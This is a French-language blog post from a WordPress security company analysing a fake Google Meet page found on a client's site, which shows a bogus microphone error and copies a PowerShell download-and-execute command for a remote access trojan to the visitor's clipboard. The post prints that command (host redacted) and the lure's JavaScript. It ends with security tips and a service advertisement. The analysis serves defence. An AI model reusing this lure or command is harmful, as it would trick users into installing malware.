Le mois dernier, un client m’a contacté après avoir remarqué des URL suspectes sur son site WordPress. Les visiteurs signalaient des incitations à effectuer des actions inhabituelles. En tant qu’expert en sécurité WordPress chez SécuritéWP, j’ai immédiatement commencé une enquête approfondie. Nous avons scanné le site à la recherche d’indicateurs de logiciels malveillants courants, tels que des JavaScript obscurcis ou des iframes injectés. Ce que nous avons découvert était plus subtil et potentiellement plus dangereux.
Nous avons déjà rencontré des infections similaires où l’attaquant incitait les utilisateurs à exécuter des commandes PowerShell sur leur système. Dans ce cas précis, nous avons découvert un fichier HTML soigneusement conçu pour ressembler à l’interface de Google Meet. Cette fausse page Google Meet n’affiche pas de formulaire de connexion pour voler directement des identifiants. Elle utilise plutôt une tactique d’ingénierie sociale, présentant une fausse erreur de « Permission de microphone refusée » et incitant l’utilisateur à copier et coller une commande PowerShell spécifique comme « solution ».
Analyse du Code
Partie HTML
Le code présente une attaque d’ingénierie sociale utilisant une page HTML malveillante déguisée pour inciter les utilisateurs à exécuter une commande PowerShell qui télécharge et exécute un RAT (Remote Access Trojan).
Ingénierie Sociale via un Faux Message d’Erreur
Le code tente de manipuler l’utilisateur en affichant un faux message d’erreur :
micButton.addEventListener("click", function() {
if (!micPermissionGranted) {
navigator.mediaDevices.getUserMedia({ audio: true })
.then(function(stream) {
stream.getTracks().forEach((track) => track.stop());
micPermissionGranted = true;
micMuted = false;
updateButton(micButton, micOnSrc, unmutedColor);
const extraButton = document.querySelector(".extra-button");
if (extraButton) {
updateExtraButton(extraButton);
}
})
.catch(function(error) {
console.error("Microphone permission denied:", error);
});
} else {
micMuted = !micMuted;
if (micMuted) {
updateButton(micButton, micOffSrc, mutedColor);
} else {
updateButton(micButton, micOnSrc, unmutedColor);
}
}
});
Bien que le code tente d’accéder au microphone, l’erreur et la « solution » qui s’ensuit sont probablement fabriquées pour manipuler l’utilisateur. Le message d’erreur affiché, prétendant que la « Permission de microphone est refusée », est utilisé comme prétexte pour convaincre l’utilisateur qu’il y a un problème à résoudre.
Section « Prêt à Rejoindre ? » et le Faux Modal d’Erreur
Sur le côté droit de l’interface factice de Google Meet, l’utilisateur est invité à rejoindre :
<div class="right-panel">
<div class="ready-title">Prêt à rejoindre ?</div>
<button class="join-btn" id="openModalBtn">Rejoindre maintenant</button>
<button class="other-ways">
Autres moyens de rejoindre <span class="arrow-down">▼</span>
</button>
</div>
C’est le bouton principal qui, lorsqu’il est cliqué, déclenche l’affichage du premier modal. Lorsque le bouton « Rejoindre maintenant » est cliqué, le modal suivant s’affiche :
<div class="overlay" id="overlay">
<div class="modal">
<h3 class="modal-title">Impossible de rejoindre la réunion</h3>
<p class="modal-message" id="modalMessage">
Désolé, une erreur s'est produite lors de la </br>
tentative de rejoindre la réunion. </p>
<button class="modal-fix-button" id="fixButton" onclick="copyToClipboard()">Essayer de corriger</button>
</div>
</div>
Action du Bouton « Corriger » : Livraison de la Charge Malveillante
function copyToClipboard() {
const text = 'powershell -w 1 iwr hxxp://[REDACTED]/1/XR.txt -UseBasicParsing|iex # Verification ID: 116772';
navigator.clipboard.writeText(text)
}
Lorsque l’utilisateur clique sur le bouton « Essayer de corriger », la fonction copyToClipboard() est exécutée. Cette fonction copie silencieusement une commande PowerShell malveillante dans le presse-papiers de l’utilisateur. Le JavaScript suivant dans fixButton.addEventListener guide probablement l’utilisateur à ouvrir PowerShell et à coller la commande.
Analyse Technique du Script PowerShell
Script PowerShell Malveillant
Le script PowerShell intégré dans la page HTML est conçu pour télécharger et exécuter un RAT (Remote Access Trojan). Ce type de malware permet à l’attaquant de prendre le contrôle à distance du système infecté, accédant potentiellement à des informations sensibles.
Techniques d’Obfuscation
Les attaquants utilisent souvent des techniques d’obfuscation pour masquer leurs intentions. Dans ce cas, le script PowerShell est obscurci pour éviter la détection par les antivirus. Les variables sont nommées de manière aléatoire et le code est compressé pour rendre l’analyse plus difficile.
Impact Potentiel
L’exécution de ce script peut avoir des conséquences graves, notamment :
- Vol de données : Accès non autorisé aux fichiers et informations personnelles.
- Espionnage : Surveillance des activités de l’utilisateur.
- Propagation de malware : Utilisation du système compromis pour infecter d’autres machines.
Bonnes Pratiques de Sécurité
Pour protéger votre site WordPress et vos utilisateurs, voici quelques recommandations :
- Mises à jour régulières : Assurez-vous que votre site et ses plugins sont toujours à jour.
- Plugins de sécurité : Installez des plugins de sécurité fiables pour détecter et bloquer les menaces.
- Surveillance continue : Utilisez des outils de surveillance pour détecter toute activité suspecte.
- Éducation des utilisateurs : Informez vos utilisateurs des dangers des scripts malveillants et des techniques d’ingénierie sociale.
Nos Services
Chez SécuritéWP, nous offrons des services complets pour protéger votre site WordPress :
- Réparation d’urgence WordPress : Intervention rapide pour éliminer les menaces, nettoyage des malwares, suppression des backdoors et renforcement de la sécurité.
- Maintenance : Installation d’antivirus, mises à jour régulières, sauvegardes et surveillance 24/7, avec option d’hébergement Premium en France.
- Optimisation SEO : Optimisation technique, stratégie éditoriale et création de contenus ciblés pour améliorer votre visibilité en ligne.
Pour toute assistance, n’hésitez pas à nous contacter.
Benjamin Bueno,
Expert en Sécurité WordPress chez SécuritéWP





